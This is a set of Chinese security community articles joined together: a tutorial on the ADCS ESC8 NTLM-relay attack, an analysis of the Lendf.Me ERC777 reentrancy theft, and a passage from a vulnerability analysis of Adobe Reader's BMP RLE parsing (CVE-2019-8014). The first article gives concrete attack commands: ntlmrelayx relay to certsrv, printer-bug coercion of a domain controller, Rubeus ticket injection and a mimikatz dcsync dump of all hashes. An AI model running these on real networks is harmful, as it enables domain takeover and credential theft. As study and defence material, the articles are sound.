白皮书中一共提到19种攻击手法，大致可以分为:
* 窃取类
* 权限维持类
* 权限提升类
其中权限维持类又可以分为个体权限维持与域的权限维持，类似我们常见的白银票据和黄金票据。在这些关于证书服务的攻击中威胁比较大的被称作ESC8
也被叫做ADCS Relay。
#### 原因
ADCS的http证书接口允许通过NTLM身份验证，未但是启用NTLM中继保护，因此攻击者可以利用NTLM
Relay攻击ADCS证书服务。攻击者可以在一个默认安装了证书web服务的域环境中，使用普通用户凭据，直接获取到域管权限。
#### **大致思路**
结合 PetitPotam 与 ESC8，获取证书后可以为用户/机器请求 TGT / TGS
票据。能够实现从低权限域用户提升到域管理员权限，从而实现对整个域环境的控制。
* 攻击者利用打印机漏洞，强制域控使用机器账户发起ntlm认证请求
* 之后讲请求relay到证书服务的http接口，通过验证获得域机器账户的身份
* 利用证书模板为机器用户申请证书，方便之后持久性获取该用户权限
* 最后利用申请到的证书进行认证，就能拿到机器用户也就是域控的权限。
#### 利用手法
首先我们需要安装最新的impacket
git clone https://github.com/ExAndroidDev/impacket.git
cd impacket
git checkout ntlmrelayx-adcs-attack
之后为impacket准备一个python虚拟环境。安装虚拟环境包
apt install python3-venv
python3 -m venv impacket
source impacket/bin/activate
最后使用pip安装依赖即可
pip install .
建议使用最新版的kali进行安装，其他系统安装有可能出现报错。正确安装的情况:
##### 1.查找证书web服务端点
可以使用certutil命令来定位域内的CA服务器:
certutil -config - -ping
测试与CA服务器的网络连通:
可以看到，在默认情况下，证书注册服务、证书注册策略 web 服务、网络设备注册服务通过授权 http 头支持协商身份验证，支持 kerberos 及
NTLM。所以攻击者可以在这里进行中继攻击。
##### impacket设置监听
使用ntlmrelayx.py 进行监听，
python3 ntlmrelayx.py -debug -smb2support --target http://10.211.55.7/certsrv/certfnsh.asp --adcs --template DomainController
##### 打印机bug
利用打印机bug,让域控回连到我们监听的服务上,这里可以使用spoolsample或者petitpotam，这里需要一个普通的域账号权限。
SpoolSample.exe dcip attackip
python3 printerbug.py domain/user:[email protected] 10.211.55.128
然后我们就获得到凭证证书信息:
##### 获取域管权限
最后我们利用上面获取到的证书，使用Rubeus.exe获取tgt并注入：
**注:** 我这里出现了KRB-ERROR (16)
的报错，需要到windows安全设置的本地策略里的安全选项里配置Kerberos允许的加密类型全部勾选。
之后可以利用mimikatz，进行导出hash
lsadump::dcsync /all /csv /domain:xxxx
#### 防御
* 关闭证书服务的web端点，或者开启SSL认证
* 开启NTML中继保护
### 参考文章
[ADCS + PetitPotam NTLM Relay: Obtaining krbtgt Hash with Domain Controller
Machine Certificate - Red Teaming Experiments
(ired.team)](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/adcs-+-petitpotam-ntlm-relay-obtaining-krbtgt-hash-with-domain-controller-machine-certificate)
[Active Directory 证书服务攻击与防御（一） - 安全客，安全资讯平台
(anquanke.com)](https://www.anquanke.com/post/id/245791#h2-11)
[AD CS relay attack - aoaoaoao - 博客园
(cnblogs.com)](https://www.cnblogs.com/websecyw/p/15070423.html)
[全补丁域森林5秒沦陷？加密升级之信任雪崩
(qq.com)](https://mp.weixin.qq.com/s?__biz=MzU0MDcyMTMxOQ==&mid=2247483735&idx=1&sn=e0ddc385b58caab50a431e49755b051e&scene=21#wechat_redirect)
[ADCS之中继攻击 - 云+社区 - 腾讯云
(tencent.com)](https://cloud.tencent.com/developer/article/1873728) | 社区文章 |
# 去中心化金融平台Lendf.Me黑客攻击事件分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1\. 背景
2020年4月19日，以太坊 DeFi 平台dForce的
Lendf.Me协议遭受重入漏洞攻击。目前损失约2500万美元。这是继4月18日Uniswap被黑客攻击损失1278枚ETH（价值约22万美元）之后又一DeFi安全事件。这两起攻击事件都是
Defi 应用与 ERC777 标准组合不当导致的重入漏洞攻击。
DeFi是Decentralized Finance（去中心化金融）的缩写，也被称做Open
Finance。DeFi希望借助于区块链的分布式、公开透明、不可篡改、可信等特点，建立点对点的金融，提供更加轻松便捷的金融服务。
dForce 开放式金融平台是著名的DeFi平台，Lendf.Me是由dForce主导开发的去中心化借贷市场协议。
imBTC 是与 BTC 1:1 锚定的 ERC-777 代币，由 Tokenlon 负责发行和监管，将 BTC 转账到 Tokenlon
的安全账户锁定，能够获得同等数量的 imBTC。imBTC是采用ERC77标准发行的代币。
## 2\. 漏洞原理剖析
以太坊token最常见的标准是ERC-20标准，但也有ERC-223，ERC-721和ERC-777标准。ERC-777旨在改进ERC-20
token标准，并向后兼容。ERC777 定义了以下两个 hook 接口：
interface ERC777TokensSender {
function tokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
interface ERC777TokensRecipient {
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
}
ERC777 的转账实现一般类似下面这样：
function transfer(address to, uint256 amount) public returns (bool) {
if (sender) {
sender.tokensToSend(operator, from, to, amount, userData, operatorData);
}
_move(from, from, to, amount, "", "");
if (Recipient) {
Recipient.tokensReceived(operator, from, to, amount, userData, operatorData);
}
return true;
}
在 DeFi 合约调用 Token 的 transferFrom 时，Token 合约会调用 tokensToSend 和 tokenReceived
以便发送者和接收者进行相应的响应。这里 tokensToSend 由用户实现，tokenReceived 由 Defi
合约实现。在ERC777中，代币持有者可以通过 ERC1820 接口注册表合约注册自己的合约并通过在
tokensToSend这个钩子函数中定义一些操作来处理代币转账的过程中的某些流程。本次攻击实质就是攻击者利用DeFi平台处理不当构造了恶意的tokensToSend。
## 3\. 攻击分析
攻击者地址：0xA9BF70A420d364e923C74448D9D817d3F2A77822。2020年4月19日12点43分，攻击者地址创建了攻击合约0x538359785a8d5ab1a741a0ba94f26a800759d91d。
在etherscan上查看攻击合约地址的交易记录。发现前两条都是测试，从第三条开始攻击。
选择
0xf8ed32d4a4aad0b5bb150f7a0d6e95b5d264d6da6c167029a20c098a90ff39b4这条交易来分析攻击过程。在下图中，可以看见，攻击者的合约地址向Lendf.Me存入0.00086375imBTC，取出的是存入的两倍。
到bloxy.info上查看该交易
，我们能知道完整的交易流程。如下图，有两个supply()函数，其中一个是存入0.00086375imBTC。下面一个supply()函数先存入0.00000001个imBTC，在transferFrom下的withdraw()函数提取了0.00172752imBTC
## 4\. 源码追踪分析
Lendf.Me合约地址：<https://etherscan.io/address/0x0eee3e3828a45f7601d5f54bf49bb01d1a9df5ea#code>
有四个关键点：1. 将用户当前余额存入临时变量。2. 调用了token的TransferFrom函数。3.
可以在supply()函数里调用withdraw() 4. TransferFrom函数调用之后更新存入临时变量的余额。supply函数源码参考附录。
1.supply()函数中，将用户当前余额存入临时变量。此处将用户余额存入到localResults.userSupplyUpdated。
2.调用了token的TransferFrom函数。这里，同样是在supply函数中，第1583行，使用了doTransferIn()。
追踪doTransferIn函数，发现调用了token的tansferFrom函数。
由于黑客使用的是token是imBTC，于是找到imBTC合约中的transferFrom函数来分析。imBTC合约地址：<https://etherscan.io/address/0x3212b29E33587A00FB1C83346f5dBFA69A458923#code>
imBTC的transferFrom代码如下图。这里callTokensToSend与callTokensReceived就是前面在ERC777协议里讲到的tokensToSend
和tokenReceived
。tokensToSend由用户实现，攻击者利用callTokensToSend的hook功能，调用了LendF.Me的withdraw()函数（由前面的bloxy.info分析知）
3.可以在supply()函数里调用withdraw()
。withdraw()函数是用户用来取款的，攻击者构造了攻击合约，攻击合约利用ERC777钩子函数TokensToSend重入supply()调用withdraw()。withdraw()函数源码太多，参考附录。
4.前面说到supply()将用户当前余额存入临时变量，由于withdraw()重入supply，当withdrw()执行完时，攻击者余额已经为0，这时候再看supply()函数末尾，如下图，将之前临时变量localResults.userSupplyUpdated的的值拿来更新余额，这就是问题所在，本身余额已经是0，又将之前的余额写上，导致攻击者在取出全部余额后，余额任然不变。攻击者由此可以滚雪球一般盗取imBTC：假如攻击者原先余额为100，存入100，取出200后，账号还是200，攻击者再存入取出的200，取出400，再将取出的400存入，取出800……
## 5\. 攻击手法分析
**正常的存取流程**
正常用户是不会在supply()中重入withdraw()的
**黑客攻击**
黑客通过部署合约利用TokensToSend将调用的withdraw()重入supply()。
## 6\. 修复
1. 给Supply函数和withdra()函数中加入 OpenZeppelin 的 ReentrancyGuard 函数，防止重入问题。
## 7\. 关于Uniswap攻击事件
Uniswap攻击事件也是由于 DeFi平台和ERC777未做好兼容造成的。攻击方式与Lendf.Me本质是一样的，实现方式不一样而已。
### 附录：
**supply()函数**
function supply(address asset, uint amount) public returns (uint) {
if (paused) {
return fail(Error.CONTRACT_PAUSED, FailureInfo.SUPPLY_CONTRACT_PAUSED);
}
Market storage market = markets[asset];
Balance storage balance = supplyBalances[msg.sender][asset];
SupplyLocalVars memory localResults; // Holds all our uint calculation results
Error err; // Re-used for every function call that includes an Error in its return value(s).
uint rateCalculationResultCode; // Used for 2 interest rate calculation calls
// Fail if market not supported
if (!market.isSupported) {
return fail(Error.MARKET_NOT_SUPPORTED, FailureInfo.SUPPLY_MARKET_NOT_SUPPORTED);
}
// Fail gracefully if asset is not approved or has insufficient balance
err = checkTransferIn(asset, msg.sender, amount);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.SUPPLY_TRANSFER_IN_NOT_POSSIBLE);
}
// We calculate the newSupplyIndex, user's supplyCurrent and supplyUpdated for the asset
(err, localResults.newSupplyIndex) = calculateInterestIndex(market.supplyIndex, market.supplyRateMantissa, market.blockNumber, getBlockNumber());
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.SUPPLY_NEW_SUPPLY_INDEX_CALCULATION_FAILED);
}
(err, localResults.userSupplyCurrent) = calculateBalance(balance.principal, balance.interestIndex, localResults.newSupplyIndex);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.SUPPLY_ACCUMULATED_BALANCE_CALCULATION_FAILED);
}
(err, localResults.userSupplyUpdated) = add(localResults.userSupplyCurrent, amount);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.SUPPLY_NEW_TOTAL_BALANCE_CALCULATION_FAILED);
}
// We calculate the protocol's totalSupply by subtracting the user's prior checkpointed balance, adding user's updated supply
(err, localResults.newTotalSupply) = addThenSub(market.totalSupply, localResults.userSupplyUpdated, balance.principal);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.SUPPLY_NEW_TOTAL_SUPPLY_CALCULATION_FAILED);
}
// We need to calculate what the updated cash will be after we transfer in from user
localResults.currentCash = getCash(asset);
(err, localResults.updatedCash) = add(localResults.currentCash, amount);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.SUPPLY_NEW_TOTAL_CASH_CALCULATION_FAILED);
}
// The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it.
(rateCalculationResultCode, localResults.newSupplyRateMantissa) = market.interestRateModel.getSupplyRate(asset, localResults.updatedCash, market.totalBorrows);
if (rateCalculationResultCode != 0) {
return failOpaque(FailureInfo.SUPPLY_NEW_SUPPLY_RATE_CALCULATION_FAILED, rateCalculationResultCode);
}
// We calculate the newBorrowIndex (we already had newSupplyIndex)
(err, localResults.newBorrowIndex) = calculateInterestIndex(market.borrowIndex, market.borrowRateMantissa, market.blockNumber, getBlockNumber());
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.SUPPLY_NEW_BORROW_INDEX_CALCULATION_FAILED);
}
(rateCalculationResultCode, localResults.newBorrowRateMantissa) = market.interestRateModel.getBorrowRate(asset, localResults.updatedCash, market.totalBorrows);
if (rateCalculationResultCode != 0) {
return failOpaque(FailureInfo.SUPPLY_NEW_BORROW_RATE_CALCULATION_FAILED, rateCalculationResultCode);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above)
err = doTransferIn(asset, msg.sender, amount);
if (err != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err, FailureInfo.SUPPLY_TRANSFER_IN_FAILED);
}
// Save market updates
market.blockNumber = getBlockNumber();
market.totalSupply = localResults.newTotalSupply;
market.supplyRateMantissa = localResults.newSupplyRateMantissa;
market.supplyIndex = localResults.newSupplyIndex;
market.borrowRateMantissa = localResults.newBorrowRateMantissa;
market.borrowIndex = localResults.newBorrowIndex;
// Save user updates
localResults.startingBalance = balance.principal; // save for use in `SupplyReceived` event
balance.principal = localResults.userSupplyUpdated;
balance.interestIndex = localResults.newSupplyIndex;
emit SupplyReceived(msg.sender, asset, amount, localResults.startingBalance, localResults.userSupplyUpdated);
return uint(Error.NO_ERROR); // success
}
**withdraw()函数**
function withdraw(address asset, uint requestedAmount) public returns (uint) {
if (paused) {
return fail(Error.CONTRACT_PAUSED, FailureInfo.WITHDRAW_CONTRACT_PAUSED);
}
Market storage market = markets[asset];
Balance storage supplyBalance = supplyBalances[msg.sender][asset];
WithdrawLocalVars memory localResults; // Holds all our calculation results
Error err; // Re-used for every function call that includes an Error in its return value(s).
uint rateCalculationResultCode; // Used for 2 interest rate calculation calls
// We calculate the user's accountLiquidity and accountShortfall.
(err, localResults.accountLiquidity, localResults.accountShortfall) = calculateAccountLiquidity(msg.sender);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.WITHDRAW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED);
}
// We calculate the newSupplyIndex, user's supplyCurrent and supplyUpdated for the asset
(err, localResults.newSupplyIndex) = calculateInterestIndex(market.supplyIndex, market.supplyRateMantissa, market.blockNumber, getBlockNumber());
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.WITHDRAW_NEW_SUPPLY_INDEX_CALCULATION_FAILED);
}
(err, localResults.userSupplyCurrent) = calculateBalance(supplyBalance.principal, supplyBalance.interestIndex, localResults.newSupplyIndex);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.WITHDRAW_ACCUMULATED_BALANCE_CALCULATION_FAILED);
}
// If the user specifies -1 amount to withdraw ("max"), withdrawAmount => the lesser of withdrawCapacity and supplyCurrent
if (requestedAmount == uint(-1)) {
(err, localResults.withdrawCapacity) = getAssetAmountForValue(asset, localResults.accountLiquidity);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.WITHDRAW_CAPACITY_CALCULATION_FAILED);
}
localResults.withdrawAmount = min(localResults.withdrawCapacity, localResults.userSupplyCurrent);
} else {
localResults.withdrawAmount = requestedAmount;
}
// From here on we should NOT use requestedAmount.
// Fail gracefully if protocol has insufficient cash
// If protocol has insufficient cash, the sub operation will underflow.
localResults.currentCash = getCash(asset);
(err, localResults.updatedCash) = sub(localResults.currentCash, localResults.withdrawAmount);
if (err != Error.NO_ERROR) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.WITHDRAW_TRANSFER_OUT_NOT_POSSIBLE);
}
// We check that the amount is less than or equal to supplyCurrent
// If amount is greater than supplyCurrent, this will fail with Error.INTEGER_UNDERFLOW
(err, localResults.userSupplyUpdated) = sub(localResults.userSupplyCurrent, localResults.withdrawAmount);
if (err != Error.NO_ERROR) {
return fail(Error.INSUFFICIENT_BALANCE, FailureInfo.WITHDRAW_NEW_TOTAL_BALANCE_CALCULATION_FAILED);
}
// Fail if customer already has a shortfall
if (!isZeroExp(localResults.accountShortfall)) {
return fail(Error.INSUFFICIENT_LIQUIDITY, FailureInfo.WITHDRAW_ACCOUNT_SHORTFALL_PRESENT);
}
// We want to know the user's withdrawCapacity, denominated in the asset
// Customer's withdrawCapacity of asset is (accountLiquidity in Eth)/ (price of asset in Eth)
// Equivalently, we calculate the eth value of the withdrawal amount and compare it directly to the accountLiquidity in Eth
(err, localResults.ethValueOfWithdrawal) = getPriceForAssetAmount(asset, localResults.withdrawAmount); // amount * oraclePrice = ethValueOfWithdrawal
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.WITHDRAW_AMOUNT_VALUE_CALCULATION_FAILED);
}
// We check that the amount is less than withdrawCapacity (here), and less than or equal to supplyCurrent (below)
if (lessThanExp(localResults.accountLiquidity, localResults.ethValueOfWithdrawal) ) {
return fail(Error.INSUFFICIENT_LIQUIDITY, FailureInfo.WITHDRAW_AMOUNT_LIQUIDITY_SHORTFALL);
}
// We calculate the protocol's totalSupply by subtracting the user's prior checkpointed balance, adding user's updated supply.
// Note that, even though the customer is withdrawing, if they've accumulated a lot of interest since their last
// action, the updated balance *could* be higher than the prior checkpointed balance.
(err, localResults.newTotalSupply) = addThenSub(market.totalSupply, localResults.userSupplyUpdated, supplyBalance.principal);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.WITHDRAW_NEW_TOTAL_SUPPLY_CALCULATION_FAILED);
}
// The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it.
(rateCalculationResultCode, localResults.newSupplyRateMantissa) = market.interestRateModel.getSupplyRate(asset, localResults.updatedCash, market.totalBorrows);
if (rateCalculationResultCode != 0) {
return failOpaque(FailureInfo.WITHDRAW_NEW_SUPPLY_RATE_CALCULATION_FAILED, rateCalculationResultCode);
}
// We calculate the newBorrowIndex
(err, localResults.newBorrowIndex) = calculateInterestIndex(market.borrowIndex, market.borrowRateMantissa, market.blockNumber, getBlockNumber());
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.WITHDRAW_NEW_BORROW_INDEX_CALCULATION_FAILED);
}
(rateCalculationResultCode, localResults.newBorrowRateMantissa) = market.interestRateModel.getBorrowRate(asset, localResults.updatedCash, market.totalBorrows);
if (rateCalculationResultCode != 0) {
return failOpaque(FailureInfo.WITHDRAW_NEW_BORROW_RATE_CALCULATION_FAILED, rateCalculationResultCode);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above)
err = doTransferOut(asset, msg.sender, localResults.withdrawAmount);
if (err != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err, FailureInfo.WITHDRAW_TRANSFER_OUT_FAILED);
}
// Save market updates
market.blockNumber = getBlockNumber();
market.totalSupply = localResults.newTotalSupply;
market.supplyRateMantissa = localResults.newSupplyRateMantissa;
market.supplyIndex = localResults.newSupplyIndex;
market.borrowRateMantissa = localResults.newBorrowRateMantissa;
market.borrowIndex = localResults.newBorrowIndex;
// Save user updates
localResults.startingBalance = supplyBalance.principal; // save for use in `SupplyWithdrawn` event
supplyBalance.principal = localResults.userSupplyUpdated;
supplyBalance.interestIndex = localResults.newSupplyIndex;
emit SupplyWithdrawn(msg.sender, asset, localResults.withdrawAmount, localResults.startingBalance, localResults.userSupplyUpdated);
return uint(Error.NO_ERROR); // success
}
## 参考：
* <https://tokenlon.zendesk.com/hc/zh-cn/articles/360035113211-imBTC-%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98>
* <https://eips.ethereum.org/EIPS/eip-777>
* <https://mp.weixin.qq.com/s/2ElVUSrk-heV9mpFIwnDhg>
* <https://learnblockchain.cn/article/893>
* <https://www.8btc.com/media/584740>
* <https://www.8btc.com/media/584802>
* https://medium.com/@peckshield/uniswap-lendf-me-hacks-root-cause-and-loss-analysis-50f3263dcc09 | 社区文章 |
**作者：Ke Liu @ 腾讯玄武实验室**
**来源：<https://xlab.tencent.com/cn/2019/09/12/deep-analysis-of-cve-2019-8014/>**
_本文详细分析了 Adobe Acrobat Reader / Pro DC 中近期修复的安全漏洞 CVE-2019-8014 。有趣的是，Adobe
在六年前修复了一个类似的漏洞 CVE-2013-2729 ，正是由于对该漏洞的修复不够完善，才使得 CVE-2019-8014
遗留了长达六年之久。本文同时讨论了如何为此类漏洞编写利用代码。_
## 0x01. 漏洞简介
Adobe 在八月份为 Adobe Acrobat and Reader 发布了安全公告
[APSB19-41](https://helpx.adobe.com/security/products/acrobat/apsb19-41.html)
，和往常一样，这次更新修复了大量漏洞。当笔者在
[ZDI](https://www.zerodayinitiative.com/advisories/published/)
上查看对应的漏洞公告时，目光迅速被
[ZDI-19-725](https://www.zerodayinitiative.com/advisories/ZDI-19-725/) /
[CVE-2019-8014](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8014)
所吸引，因为模块 `AcroForm` 中 Bitmap 解析相关的漏洞非常少见。该漏洞在 ZDI 上的部分公告信息如下：
> Adobe Acrobat Pro DC AcroForm Bitmap File Parsing Heap-based Buffer Overflow
> Remote Code Execution Vulnerability
>
> The specific flaw exists within the parsing of run length encoding in BMP
> images. The issue results from the lack of proper validation of the length
> of user-supplied data prior to copying it to a fixed-length, heap-based
> buffer. An attacker can leverage this vulnerability to execute code in the
> context of the current process.
看描述这和六年之前修复的漏洞 [CVE-2013-2729](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2729) 非常相似——都和 **XFA Bitmap Run Length
Encoding** 解析有关！实际上，两个漏洞之间确实有着千丝万缕的联系，本文将详细分析漏洞的原理以及两者之间的关系。
漏洞 CVE-2019-8014 在 ZDI 上的致谢信息为 `ktkitty (https://ktkitty.github.io)` 。
## 0x02. 环境搭建
根据官方公告
[APSB19-41](https://helpx.adobe.com/security/products/acrobat/apsb19-41.html)
的描述，该漏洞影响 `2019.012.20035` 以及更早版本的 Adobe Acrobat and Reader ，而不受影响的最新版本号为
`2019.012.20036` 。本文基于前者进行漏洞分析、基于后者进行补丁分析。
安装 Adobe Acrobat Reader DC `2019.012.20035` 的步骤如下：
* 下载并安装 `2019.012.20034` ([下载链接](ftp://ftp.adobe.com/pub/adobe/reader/win/AcrobatDC/1901220034/))
* 升级到 `2019.012.20035` ([下载链接](ftp://ftp.adobe.com/pub/adobe/reader/win/AcrobatDC/1901220035/))
安装 Adobe Acrobat Reader DC `2019.012.20036` 的步骤如下：
* 下载并安装 `2019.012.20036` ([下载链接](ftp://ftp.adobe.com/pub/adobe/reader/win/AcrobatDC/1901220036/))
在调试环境中安装好软件后，记得禁用更新服务 _Adobe Acrobat Update Service_ 或者直接断开网络连接，防止 Adobe
Acrobat Reader DC 自动更新。
## 0x03. 位图简介
在进行漏洞分析之前，先简单介绍一下位图的结构。如果你对位图已经非常熟悉，那么可以直接跳过本小节内容。
### 3.1 相关结构
通常来说，位图文件由以下四部分构成：
1. Bitmap File Header
2. Bitmap Info Header
3. RGBQUAD Array
4. Bitmap Data
#### 3.1.1 BITMAP FILE HEADER
结构体 **BITMAPFILEHEADER** 的定义如下：
typedef struct tagBITMAPFILEHEADER {
WORD bfType; // 文件标记 'BM'
DWORD bfSize; // 位图文件的大小
WORD bfReserved1; // 保留字段 0
WORD bfReserved2; // 保留字段 0
DWORD bfOffBits; // 位图数据在文件中的偏移值
} BITMAPFILEHEADER, *LPBITMAPFILEHEADER, *PBITMAPFILEHEADER;
#### 3.1.2 BITMAP INFO HEADER
结构体 **BITMAPINFOHEADER** 的定义如下：
typedef struct tagBITMAPINFOHEADER {
DWORD biSize; // 结构体的大小
LONG biWidth; // 位图宽度
LONG biHeight; // 位图高度
WORD biPlanes; // 必须为 1
WORD biBitCount; // 每个像素所占用的位数
DWORD biCompression; // 压缩算法
DWORD biSizeImage; // 数据大小
LONG biXPelsPerMeter; // 水平分辨率
LONG biYPelsPerMeter; // 垂直分辨率
DWORD biClrUsed; // 色彩索引数
DWORD biClrImportant; // 必须的色彩索引数
} BITMAPINFOHEADER, *PBITMAPINFOHEADER;
这里成员 `biCompression` 指明了位图所使用的压缩算法，部分压缩算法的定义如下：
#define BI_RGB 0 // 未使用压缩算法
#define BI_RLE8 1 // RLE8 压缩算法
#define BI_RLE4 2 // RLE4 压缩算法
// 其他压缩算法...
#### 3.1.3 RGBQUAD ARRAY
结构体 **RGBQUAD** 描述一个像素的色彩组成，其定义如下：
typedef struct tagRGBQUAD {
BYTE rgbBlue;
BYTE rgbGreen;
BYTE rgbRed;
BYTE rgbReserved;
} RGBQUAD;
**RGBQUAD Array** 代表了一张色彩表，位图数据在解析之后可以是一个索引，索引在数组中对应的值便是该像素的色彩表示。该数组的长度取决于结构体
**BITMAPINFOHEADER** 中的 `biBitCount` 和 `biClrUsed` 成员的值。
#### 3.1.4 BITMAP DATA
位图的位数据，该部分数据的表现形式取决于位图所使用的压缩算法。
有一点需要注意的是：位图数据是从左下角往右上角方向进行填充的，即位图数据中解析出来的第一个像素的色彩，应当填充到位图的左下角
[[wikipedia](https://en.wikipedia.org/wiki/BMP_file_format#Pixel_array_\(bitmap_data\))]，随后依次填充当前行的像素，当前行填充完毕之后，往上移动一个像素继续以行位单位进行填充，直到位图填充完毕。
### 3.2 RLE 编码
位图支持两种类型的 RLE（ **Run Length Encoding**
）压缩算法：[RLE4](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wmf/73b57f24-6d78-4eeb-9c06-8f892d88f1ab) 和
[RLE8](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wmf/b64d0c0b-bb80-4b53-8382-f38f264eb685) 。
#### 3.2.1 RLE8 编码
RLE8 压缩算法用于压缩 8 位位图（即每个像素占用 1 字节空间）。RLE8 压缩后的数据可以处于 **编码模式（Encoded Mode）** 和
**绝对模式（Absolute Mode）** 中的任意一种（两种模式在同一个位图中可以同时出现）。
**编码模式** 包含两字节数据：
* 如果第一个字节不为零，其含义为第二个字节需要重复的次数
* 如果第一个字节为零，那么第二个字节的可能含义如下
* 0x00 表示当前行已经结束
* 0x01 表示位图解析完毕
* 0x02 表示接下来的两个字节 `(deltaX, deltaY)` 为当前坐标 `(x, y)` 需要移动的距离
在 **绝对模式** 中，第一个字节为零，第二个字节位于区间 `[0x03, 0xFF]` 。第二个字节表示接下来特定数量的字节是未压缩的数据（数据量需要按
`WORD` 对齐）。
下面为 RLE8 压缩之后的数据：
[03 04] [05 06] [00 03 45 56 67] [02 78] [00 02 05 01]
[02 78] [00 00] [09 1E] [00 01]
下面为解压之后的数据：
04 04 04
06 06 06 06 06
45 56 67
78 78
move current position 5 right and 1 up
78 78
end of line
1E 1E 1E 1E 1E 1E 1E 1E 1E
end of RLE bitmap
#### 3.2.2 RLE4 编码
RLE4 压缩算法用于压缩 4 位位图（即每个像素占用半字节空间）。RLE4 压缩后的数据可以处于 **编码模式（Encoded Mode）** 和
**绝对模式（Absolute Mode）** 中的任意一种（两种模式在同一个位图中可以同时出现）。
**编码模式** 包含两字节数据：
* 如果第一个字节不为零，其含义为第二个字节展开后得到的像素个数
* 第二个字节代表了两个像素的色彩索引
* 高 4 位代表第一个像素的色彩索引
* 低 4 位代表第二个像素的色彩索引
* 二者依次交替重复，直到得到第一个字节指定的像素个数
* 如果第一个字节为零，那么第二个字节的可能含义如下
* 0x00 表示当前行已经结束
* 0x01 表示位图解析完毕
* 0x02 表示接下来的两个字节 `(deltaX, deltaY)` 为当前坐标 `(x, y)` 需要移动的距离
在 **绝对模式** 中，第一个字节为零，第二个字节位于区间 `[0x03, 0xFF]` 。第二个字节表示接下来特定数量的 **半字节**
是未压缩的数据（数据量需要按 `WORD` 对齐）。
下面为 RLE4 压缩之后的数据：
[03 04] [05 06] [00 06 45 56 67 00] [04 78] [00 02 05 01]
[04 78] [00 00] [09 1E] [00 01]
下面为解压之后的数据：
0 4 0
0 6 0 6 0
4 5 5 6 6 7
7 8 7 8
move current position 5 right and 1 up
7 8 7 8
end of line
1 E 1 E 1 E 1 E 1
end of RLE bitmap
## 0x04. 漏洞分析
### 4.1 代码定位
根据 ZDI 网站上的公告信息，可知漏洞位于 **AcroForm** 模块。该模块是 Adobe Acrobat Reader DC 中负责处理 [XFA
表单](https://en.wikipedia.org/wiki/XFA) 的插件，其路径如下：
%PROGRAMFILES(X86)%\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm.api
通常来说，借助 [BinDiff](https://www.zynamics.com/bindiff.html)
进行补丁对比分析可以快速定位到有漏洞的函数，但如果新旧版本的二进制文件变动比较大的话就不太好处理了，模块 `AcroForm.api`
的情况便是如此：通过对比发现有大量函数进行了改动，一个一个去看显然不太现实。
笔者用于定位漏洞函数的方法如下（以 `2019.012.20035` 为例）：
1. 在 `IDA` 中搜索字符串 `PNG` ，在 `.rdata:20F9A374` 找到一处定义
2. 对 `20F9A374` 进行交叉引用查找，定位到函数 `sub_20CF3A3F`
3. 很显然函数 `sub_20CF3A3F` 负责判断图片的类型（从这里也可以看出 XFA 表单所支持的图片格式类型）
4. 对 `sub_20CF3A3F` 进行交叉引用查找，定位到函数 `sub_20CF4BE8`
5. 函数 `sub_20CF4BE8` 根据图片的类型调用不同的处理函数
6. 函数 `sub_20CF4870`（跳转自 `sub_20CF3E5F`）负责处理 `BMP` 位图
在 BinDiff 的结果中可以看到，函数 `sub_20CF3E5F` 中确实有几个基本块发生了变动，比如 `20CF440F`
处的基本块的变动情况如下：
// 20CF440F in AcroForm 2019.012.20035
if ( v131 >= v26 || (unsigned __int8)v127 + v43 > v123 )
goto LABEL_170;
// 20CF501F in AcroForm 2019.012.20036
v56 = (unsigned __int8)v130 + v43;
if ( v134 >= v26 || v56 > v126 || v56 < v43 || v56 < (unsigned __int8)v130 )
goto LABEL_176;
很明显，这里增加了对整数溢出的判断。
### 4.2 漏洞分析
好在网上已经有了针对 CVE-2013-2729 的详细分析报告（参考 [feliam’s write up for
CVE-2013-2729](http://blog.binamuse.com/2013/05/readerbmprle.html)），基于此可以快速理解函数
`sub_20CF3E5F` 中相关代码的含义。
#### 4.2.1 RLE8 解析
函数 `sub_20CF3E5F` 中负责解析 RLE8 压缩数据的部分代码如下：
if ( bmih.biCompression == 1 ) // RLE8 算法
{
xpos = 0; // unsigned int, 从左往右
ypos = bmih.biHeight - 1; // unsigned int, 从下往上
bitmap_ends = 0;
result = fn_feof(v1[2]);
if ( !result )
{
do
{
if ( bitmap_ends )
return result;
fn_read_bytes(v1[2], &cmd, 2u); // 读取 2 字节数据
if ( (_BYTE)cmd ) // 第一个字节不为零
{ // 表示有压缩数据等待处理
